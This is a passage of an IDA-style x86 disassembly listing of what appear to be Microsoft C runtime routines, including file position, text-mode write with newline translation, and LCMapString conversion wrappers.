		or	eax, 0FFFFFFFFh
		jmp	loc_42E933
; ---------------------------------------------------------------------------

loc_42E716:				; CODE XREF: sub_42E6A0+6Cj
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+0Ch]
		and	edx, 108h
		test	edx, edx
		jnz	short loc_42E736
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_1C]
		sub	ecx, [eax+4]
		mov	eax, ecx
		jmp	loc_42E933
; ---------------------------------------------------------------------------

loc_42E736:				; CODE XREF: sub_42E6A0+84j
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_C]
		mov	ecx, [edx]
		sub	ecx, [eax+8]
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+var_C]
		mov	eax, [edx+0Ch]
		and	eax, 3
		test	eax, eax
		jz	short loc_42E7AC
		mov	ecx, [ebp+var_8]
		sar	ecx, 5
		mov	edx, [ebp+var_8]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4F3780[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 80h
		test	ecx, ecx
		jz	short loc_42E7AA
		mov	edx, [ebp+var_C]
		mov	eax, [edx+8]
		mov	[ebp+var_4], eax
		jmp	short loc_42E78A
; ---------------------------------------------------------------------------

loc_42E781:				; CODE XREF: sub_42E6A0:loc_42E7A8j
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx

loc_42E78A:				; CODE XREF: sub_42E6A0+DFj
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_4]
		cmp	eax, [edx]
		jnb	short loc_42E7AA
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 0Ah
		jnz	short loc_42E7A8
		mov	eax, [ebp+var_18]
		add	eax, 1
		mov	[ebp+var_18], eax

loc_42E7A8:				; CODE XREF: sub_42E6A0+FDj
		jmp	short loc_42E781
; ---------------------------------------------------------------------------

loc_42E7AA:				; CODE XREF: sub_42E6A0+D4j
					; sub_42E6A0+F2j
		jmp	short loc_42E7CF
; ---------------------------------------------------------------------------

loc_42E7AC:				; CODE XREF: sub_42E6A0+AFj
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+0Ch]
		and	edx, 80h
		test	edx, edx
		jnz	short loc_42E7CF
		call	sub_429A90
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		jmp	loc_42E933
; ---------------------------------------------------------------------------

loc_42E7CF:				; CODE XREF: sub_42E6A0:loc_42E7AAj
					; sub_42E6A0+11Aj
		cmp	[ebp+var_1C], 0
		jnz	short loc_42E7DD
		mov	eax, [ebp+var_18]
		jmp	loc_42E933
; ---------------------------------------------------------------------------

loc_42E7DD:				; CODE XREF: sub_42E6A0+133j
		mov	eax, [ebp+var_C]
		mov	ecx, [eax+0Ch]
		and	ecx, 1
		test	ecx, ecx
		jz	loc_42E92D
		mov	edx, [ebp+var_C]
		cmp	dword ptr [edx+4], 0
		jnz	short loc_42E803
		mov	[ebp+var_18], 0
		jmp	loc_42E92D
; ---------------------------------------------------------------------------

loc_42E803:				; CODE XREF: sub_42E6A0+155j
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_C]
		mov	edx, [eax]
		sub	edx, [ecx+8]
		mov	eax, [ebp+var_C]
		mov	ecx, [eax+4]
		add	ecx, edx
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_8]
		sar	edx, 5
		mov	eax, [ebp+var_8]
		and	eax, 1Fh
		imul	eax, 24h
		mov	ecx, dword_4F3780[edx*4]
		movsx	edx, byte ptr [ecx+eax+4]
		and	edx, 80h
		test	edx, edx
		jz	loc_42E924
		push	2
		push	0
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_42E4E0
		add	esp, 0Ch
		cmp	eax, [ebp+var_1C]
		jnz	short loc_42E8B0
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+8]
		add	edx, [ebp+var_10]
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_C]
		mov	ecx, [eax+8]
		mov	[ebp+var_4], ecx
		jmp	short loc_42E877
; ---------------------------------------------------------------------------

loc_42E86E:				; CODE XREF: sub_42E6A0:loc_42E893j
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx

loc_42E877:				; CODE XREF: sub_42E6A0+1CCj
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_14]
		jnb	short loc_42E895
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 0Ah
		jnz	short loc_42E893
		mov	eax, [ebp+var_10]
		add	eax, 1
		mov	[ebp+var_10], eax

loc_42E893:				; CODE XREF: sub_42E6A0+1E8j
		jmp	short loc_42E86E
; ---------------------------------------------------------------------------

loc_42E895:				; CODE XREF: sub_42E6A0+1DDj
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+0Ch]
		and	edx, 2000h
		test	edx, edx
		jz	short loc_42E8AE
		mov	eax, [ebp+var_10]
		add	eax, 1
		mov	[ebp+var_10], eax

loc_42E8AE:				; CODE XREF: sub_42E6A0+203j
		jmp	short loc_42E924
; ---------------------------------------------------------------------------

loc_42E8B0:				; CODE XREF: sub_42E6A0+1B5j
		push	0
		mov	ecx, [ebp+var_1C]
		push	ecx
		mov	edx, [ebp+var_8]
		push	edx
		call	sub_42E4E0
		add	esp, 0Ch
		cmp	[ebp+var_10], 200h
		ja	short loc_42E8F0
		mov	eax, [ebp+var_C]
		mov	ecx, [eax+0Ch]
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_42E8F0
		mov	edx, [ebp+var_C]
		mov	eax, [edx+0Ch]
		and	eax, 400h
		test	eax, eax
		jnz	short loc_42E8F0
		mov	[ebp+var_10], 200h
		jmp	short loc_42E8F9
; ---------------------------------------------------------------------------

loc_42E8F0:				; CODE XREF: sub_42E6A0+229j
					; sub_42E6A0+236j ...
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+18h]
		mov	[ebp+var_10], edx

loc_42E8F9:				; CODE XREF: sub_42E6A0+24Ej
		mov	eax, [ebp+var_8]
		sar	eax, 5
		mov	ecx, [ebp+var_8]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4F3780[eax*4]
		movsx	eax, byte ptr [edx+ecx+4]
		and	eax, 4
		test	eax, eax
		jz	short loc_42E924
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		mov	[ebp+var_10], ecx

loc_42E924:				; CODE XREF: sub_42E6A0+19Cj
					; sub_42E6A0:loc_42E8AEj ...
		mov	edx, [ebp+var_1C]
		sub	edx, [ebp+var_10]
		mov	[ebp+var_1C], edx

loc_42E92D:				; CODE XREF: sub_42E6A0+148j
					; sub_42E6A0+15Ej
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_18]

loc_42E933:				; CODE XREF: sub_42E6A0+71j
					; sub_42E6A0+91j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42E6A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E940	proc near		; CODE XREF: sub_421200+147p
					; sub_422F20+57p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4F3880
		jnb	short loc_42E971
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4F3780[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_42E98C

loc_42E971:				; CODE XREF: sub_42E940+Dj
		call	sub_429A90
		mov	dword ptr [eax], 9
		call	sub_429AA0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	short loc_42E9BE
; ---------------------------------------------------------------------------

loc_42E98C:				; CODE XREF: sub_42E940+2Fj
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_431070
		add	esp, 4
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42E9D0
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_431100
		add	esp, 4
		mov	eax, [ebp+var_4]

loc_42E9BE:				; CODE XREF: sub_42E940+4Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_42E940	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E9D0	proc near		; CODE XREF: sub_42E940+64p
					; sub_435EC0+145p

var_420		= dword	ptr -420h
var_41C		= byte ptr -41Ch
var_418		= dword	ptr -418h
var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		mov	[ebp+var_10], 0
		mov	eax, [ebp+var_10]
		mov	[ebp+var_420], eax
		cmp	[ebp+arg_8], 0
		jnz	short loc_42E9F6
		xor	eax, eax
		jmp	loc_42EC3F
; ---------------------------------------------------------------------------

loc_42E9F6:				; CODE XREF: sub_42E9D0+1Dj
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4F3780[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 20h
		test	ecx, ecx
		jz	short loc_42EA28
		push	2
		push	0
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42E570
		add	esp, 0Ch

loc_42EA28:				; CODE XREF: sub_42E9D0+46j
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4F3780[eax*4]
		movsx	eax, byte ptr [edx+ecx+4]
		and	eax, 80h
		test	eax, eax
		jz	loc_42EB5C
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	[ebp+var_C], 0

loc_42EA5D:				; CODE XREF: sub_42E9D0:loc_42EB55j
		mov	edx, [ebp+var_4]
		sub	edx, [ebp+arg_4]
		cmp	edx, [ebp+arg_8]
		jnb	loc_42EB5A
		lea	eax, [ebp+var_414]
		mov	[ebp+var_8], eax

loc_42EA75:				; CODE XREF: sub_42E9D0+115j
		mov	ecx, [ebp+var_8]
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jge	short loc_42EAE7
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jnb	short loc_42EAE7
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	[ebp+var_41C], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		movsx	ecx, [ebp+var_41C]
		cmp	ecx, 0Ah
		jnz	short loc_42EAD1
		mov	edx, [ebp+var_420]
		add	edx, 1
		mov	[ebp+var_420], edx
		mov	eax, [ebp+var_8]
		mov	byte ptr [eax],	0Dh
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx

loc_42EAD1:				; CODE XREF: sub_42E9D0+E1j
		mov	edx, [ebp+var_8]
		mov	al, [ebp+var_41C]
		mov	[edx], al
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx
		jmp	short loc_42EA75
; ---------------------------------------------------------------------------

loc_42EAE7:				; CODE XREF: sub_42E9D0+B6j
					; sub_42E9D0+C1j
		push	0
		lea	edx, [ebp+var_418]
		push	edx
		mov	eax, [ebp+var_8]
		lea	ecx, [ebp+var_414]
		sub	eax, ecx
		push	eax
		lea	edx, [ebp+var_414]
		push	edx
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4F3780[eax*4]
		mov	eax, [edx+ecx]
		push	eax
		call	dword_4F53B4	; WriteFile
		test	eax, eax
		jz	short loc_42EB4A
		mov	ecx, [ebp+var_10]
		add	ecx, [ebp+var_418]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_8]
		lea	eax, [ebp+var_414]
		sub	edx, eax
		cmp	[ebp+var_418], edx
		jge	short loc_42EB48
		jmp	short loc_42EB5A
; ---------------------------------------------------------------------------

loc_42EB48:				; CODE XREF: sub_42E9D0+174j
		jmp	short loc_42EB55
; ---------------------------------------------------------------------------

loc_42EB4A:				; CODE XREF: sub_42E9D0+155j
		call	dword_4F5360	; RtlGetLastWin32Error
		mov	[ebp+var_C], eax
		jmp	short loc_42EB5A
; ---------------------------------------------------------------------------

loc_42EB55:				; CODE XREF: sub_42E9D0:loc_42EB48j
		jmp	loc_42EA5D
; ---------------------------------------------------------------------------

loc_42EB5A:				; CODE XREF: sub_42E9D0+96j
					; sub_42E9D0+176j ...
		jmp	short loc_42EBAC
; ---------------------------------------------------------------------------

loc_42EB5C:				; CODE XREF: sub_42E9D0+7Aj
		push	0
		lea	ecx, [ebp+var_418]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4F3780[ecx*4]
		mov	ecx, [eax+edx]
		push	ecx
		call	dword_4F53B4	; WriteFile
		test	eax, eax
		jz	short loc_42EBA3
		mov	[ebp+var_C], 0
		mov	edx, [ebp+var_418]
		mov	[ebp+var_10], edx
		jmp	short loc_42EBAC
; ---------------------------------------------------------------------------

loc_42EBA3:				; CODE XREF: sub_42E9D0+1BFj
		call	dword_4F5360	; RtlGetLastWin32Error
		mov	[ebp+var_C], eax

loc_42EBAC:				; CODE XREF: sub_42E9D0:loc_42EB5Aj
					; sub_42E9D0+1D1j
		cmp	[ebp+var_10], 0
		jnz	loc_42EC36
		cmp	[ebp+var_C], 0
		jz	short loc_42EBEA
		cmp	[ebp+var_C], 5
		jnz	short loc_42EBD9
		call	sub_429A90
		mov	dword ptr [eax], 9
		call	sub_429AA0
		mov	ecx, [ebp+var_C]
		mov	[eax], ecx
		jmp	short loc_42EBE5
; ---------------------------------------------------------------------------

loc_42EBD9:				; CODE XREF: sub_42E9D0+1F0j
		mov	edx, [ebp+var_C]
		push	edx
		call	sub_4299F0
		add	esp, 4

loc_42EBE5:				; CODE XREF: sub_42E9D0+207j
		or	eax, 0FFFFFFFFh
		jmp	short loc_42EC3F
; ---------------------------------------------------------------------------

loc_42EBEA:				; CODE XREF: sub_42E9D0+1EAj
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4F3780[eax*4]
		movsx	eax, byte ptr [edx+ecx+4]
		and	eax, 40h
		test	eax, eax
		jz	short loc_42EC1B
		mov	ecx, [ebp+arg_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 1Ah
		jnz	short loc_42EC1B
		xor	eax, eax
		jmp	short loc_42EC3F
; ---------------------------------------------------------------------------

loc_42EC1B:				; CODE XREF: sub_42E9D0+23Aj
					; sub_42E9D0+245j
		call	sub_429A90
		mov	dword ptr [eax], 1Ch
		call	sub_429AA0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	short loc_42EC3F
; ---------------------------------------------------------------------------

loc_42EC36:				; CODE XREF: sub_42E9D0+1E0j
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+var_420]

loc_42EC3F:				; CODE XREF: sub_42E9D0+21j
					; sub_42E9D0+218j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42E9D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42EC50	proc near		; CODE XREF: sub_421620+11Ep
					; sub_421620+16Fp ...

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43D418
		push	offset sub_423364
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFDCh
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		cmp	dword_4F34DC, 0
		jnz	short loc_42ECD6
		push	0
		push	0
		push	1
		push	offset dword_43D410
		push	100h
		push	0
		call	dword_4F5330	; LCMapStringW
		test	eax, eax
		jz	short loc_42ECA7
		mov	dword_4F34DC, 1
		jmp	short loc_42ECD6
; ---------------------------------------------------------------------------

loc_42ECA7:				; CODE XREF: sub_42EC50+49j
		push	0
		push	0
		push	1
		push	offset dword_43D40C
		push	100h
		push	0
		call	dword_4F5334	; LCMapStringA
		test	eax, eax
		jz	short loc_42ECCF
		mov	dword_4F34DC, 2
		jmp	short loc_42ECD6
; ---------------------------------------------------------------------------

loc_42ECCF:				; CODE XREF: sub_42EC50+71j
		xor	eax, eax
		jmp	loc_42EF41
; ---------------------------------------------------------------------------

loc_42ECD6:				; CODE XREF: sub_42EC50+2Dj
					; sub_42EC50+55j ...
		cmp	[ebp+arg_C], 0
		jle	short loc_42ECEF
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		call	sub_42EF60
		add	esp, 8
		mov	[ebp+arg_C], eax

loc_42ECEF:				; CODE XREF: sub_42EC50+8Aj
		cmp	dword_4F34DC, 2
		jnz	short loc_42ED1B
		mov	edx, [ebp+arg_14]
		push	edx
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_4F5334	; LCMapStringA
		jmp	loc_42EF41
; ---------------------------------------------------------------------------

loc_42ED1B:				; CODE XREF: sub_42EC50+A6j
		cmp	dword_4F34DC, 1
		jnz	loc_42EF3F
		cmp	[ebp+arg_18], 0
		jnz	short loc_42ED37
		mov	edx, dword_4F34C8
		mov	[ebp+arg_18], edx

loc_42ED37:				; CODE XREF: sub_42EC50+DCj
		push	0
		push	0
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_1C]
		neg	edx
		sbb	edx, edx
		and	edx, 8
		add	edx, 1
		push	edx
		mov	eax, [ebp+arg_18]
		push	eax
		call	dword_4F5454	; MultiByteToWideChar
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jnz	short loc_42ED6B
		xor	eax, eax
		jmp	loc_42EF41
; ---------------------------------------------------------------------------

loc_42ED6B:				; CODE XREF: sub_42EC50+112j
		mov	[ebp+var_4], 0
		mov	eax, [ebp+var_1C]
		shl	eax, 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41EF80
		mov	[ebp+var_30], esp
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+var_30]
		mov	[ebp+var_24], ecx
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42EDAD
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_24], 0
		mov	[ebp+var_4], 0FFFFFFFFh

loc_42EDAD:				; CODE XREF: sub_42EC50+144j
		cmp	[ebp+var_24], 0
		jnz	short loc_42EDBA
		xor	eax, eax
		jmp	loc_42EF41
; ---------------------------------------------------------------------------

loc_42EDBA:				; CODE XREF: sub_42EC50+161j
		mov	edx, [ebp+var_1C]
		push	edx
		mov	eax, [ebp+var_24]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		push	1
		mov	eax, [ebp+arg_18]
		push	eax
		call	dword_4F5454	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_42EDE1
		xor	eax, eax
		jmp	loc_42EF41
; ---------------------------------------------------------------------------

loc_42EDE1:				; CODE XREF: sub_42EC50+188j
		push	0
		push	0
		mov	ecx, [ebp+var_1C]
		push	ecx
		mov	edx, [ebp+var_24]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_4F5330	; LCMapStringW
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jnz	short loc_42EE0B
		xor	eax, eax
		jmp	loc_42EF41
; ---------------------------------------------------------------------------

loc_42EE0B:				; CODE XREF: sub_42EC50+1B2j
		mov	edx, [ebp+arg_4]
		and	edx, 400h
		test	edx, edx
		jz	short loc_42EE5B
		cmp	[ebp+arg_14], 0
		jz	short loc_42EE56
		mov	eax, [ebp+var_28]
		cmp	eax, [ebp+arg_14]
		jle	short loc_42EE2D
		xor	eax, eax
		jmp	loc_42EF41
; ---------------------------------------------------------------------------

loc_42EE2D:				; CODE XREF: sub_42EC50+1D4j
		mov	ecx, [ebp+arg_14]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		mov	eax, [ebp+var_1C]
		push	eax
		mov	ecx, [ebp+var_24]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4F5330	; LCMapStringW
		test	eax, eax
		jnz	short loc_42EE56
		xor	eax, eax
		jmp	loc_42EF41
; ---------------------------------------------------------------------------

loc_42EE56:				; CODE XREF: sub_42EC50+1CCj
					; sub_42EC50+1FDj
		jmp	loc_42EF3A
; ---------------------------------------------------------------------------

loc_42EE5B:				; CODE XREF: sub_42EC50+1C6j
		mov	ecx, [ebp+var_28]
		mov	[ebp+var_2C], ecx
		mov	[ebp+var_4], 1
		mov	eax, [ebp+var_2C]
		shl	eax, 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41EF80
		mov	[ebp+var_34], esp
		mov	[ebp+var_18], esp
		mov	edx, [ebp+var_34]
		mov	[ebp+var_20], edx
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42EEA3
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_20], 0
		mov	[ebp+var_4], 0FFFFFFFFh

loc_42EEA3:				; CODE XREF: sub_42EC50+23Aj
		cmp	[ebp+var_20], 0
		jnz	short loc_42EEB0
		xor	eax, eax
		jmp	loc_42EF41
; ---------------------------------------------------------------------------

loc_42EEB0:				; CODE XREF: sub_42EC50+257j
		mov	eax, [ebp+var_2C]
		push	eax
		mov	ecx, [ebp+var_20]
		push	ecx
		mov	edx, [ebp+var_1C]
		push	edx
		mov	eax, [ebp+var_24]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	dword_4F5330	; LCMapStringW
		test	eax, eax
		jnz	short loc_42EED6
		xor	eax, eax
		jmp	short loc_42EF41
; ---------------------------------------------------------------------------

loc_42EED6:				; CODE XREF: sub_42EC50+280j
		cmp	[ebp+arg_14], 0
		jnz	short loc_42EF0A
		push	0
		push	0
		push	0
		push	0
		mov	eax, [ebp+var_2C]
		push	eax
		mov	ecx, [ebp+var_20]
		push	ecx
		push	220h
		mov	edx, [ebp+arg_18]
		push	edx
		call	dword_4F5450	; WideCharToMultiByte
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jnz	short loc_42EF08
		xor	eax, eax
		jmp	short loc_42EF41
; ---------------------------------------------------------------------------

loc_42EF08:				; CODE XREF: sub_42EC50+2B2j
		jmp	short loc_42EF3A
; ---------------------------------------------------------------------------

loc_42EF0A:				; CODE XREF: sub_42EC50+28Aj
		push	0
		push	0
		mov	eax, [ebp+arg_14]
		push	eax
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+var_2C]
		push	edx
		mov	eax, [ebp+var_20]
		push	eax
		push	220h
		mov	ecx, [ebp+arg_18]
		push	ecx
		call	dword_4F5450	; WideCharToMultiByte
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jnz	short loc_42EF3A
		xor	eax, eax
		jmp	short loc_42EF41
; ---------------------------------------------------------------------------

loc_42EF3A:				; CODE XREF: sub_42EC50:loc_42EE56j
					; sub_42EC50:loc_42EF08j ...
		mov	eax, [ebp+var_28]
		jmp	short loc_42EF41
; ---------------------------------------------------------------------------

loc_42EF3F:				; CODE XREF: sub_42EC50+D2j
		xor	eax, eax

loc_42EF41:				; CODE XREF: sub_42EC50+81j
					; sub_42EC50+C6j ...
		lea	esp, [ebp-40h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42EC50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42EF60	proc near		; CODE XREF: sub_42EC50+94p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], ecx

loc_42EF72:				; CODE XREF: sub_42EF60+35j
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_8]
		sub	eax, 1
		mov	[ebp+var_8], eax
		test	edx, edx
		jz	short loc_42EF97
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_42EF97
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		jmp	short loc_42EF72
; ---------------------------------------------------------------------------

loc_42EF97:				; CODE XREF: sub_42EF60+20j
					; sub_42EF60+2Aj
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jnz	short loc_42EFA9
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_0]
		jmp	short loc_42EFAC
; ---------------------------------------------------------------------------

loc_42EFA9:				; CODE XREF: sub_42EF60+3Fj
		mov	eax, [ebp+arg_4]

loc_42EFAC:				; CODE XREF: sub_42EF60+47j
		mov	esp, ebp
		pop	ebp
		retn
sub_42EF60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42EFB0	proc near		; CODE XREF: sub_422100+144p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		call	sub_428EE0
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+50h]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42F170
		add	esp, 8
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_42EFE3
		mov	eax, [ebp+var_10]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_42EFF2

loc_42EFE3:				; CODE XREF: sub_42EFB0+28j
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	dword_4F532C	; UnhandledExceptionFilter
		jmp	loc_42F16A
; ---------------------------------------------------------------------------

loc_42EFF2:				; CODE XREF: sub_42EFB0+31j
		mov	edx, [ebp+var_10]
		cmp	dword ptr [edx+8], 5
		jnz	short loc_42F00F
		mov	eax, [ebp+var_10]
		mov	dword ptr [eax+8], 0
		mov	eax, 1
		jmp	loc_42F16A
; ---------------------------------------------------------------------------

loc_42F00F:				; CODE XREF: sub_42EFB0+49j
		mov	ecx, [ebp+var_10]
		cmp	dword ptr [ecx+8], 1
		jnz	short loc_42F020
		or	eax, 0FFFFFFFFh
		jmp	loc_42F16A
; ---------------------------------------------------------------------------

loc_42F020:				; CODE XREF: sub_42EFB0+66j
		mov	edx, [ebp+var_10]
		mov	eax, [edx+8]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+54h]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_4]
		mov	[eax+54h], ecx
		mov	edx, [ebp+var_10]
		cmp	dword ptr [edx+4], 8
		jnz	loc_42F147
		mov	eax, dword_454440
		mov	[ebp+var_14], eax
		jmp	short loc_42F05B
; ---------------------------------------------------------------------------

loc_42F052:				; CODE XREF: sub_42EFB0+D0j
		mov	ecx, [ebp+var_14]
		add	ecx, 1
		mov	[ebp+var_14], ecx

loc_42F05B:				; CODE XREF: sub_42EFB0+A0j
		mov	edx, dword_454440
		add	edx, dword_454444
		cmp	[ebp+var_14], edx
		jge	short loc_42F082
		mov	eax, [ebp+var_14]
		imul	eax, 0Ch
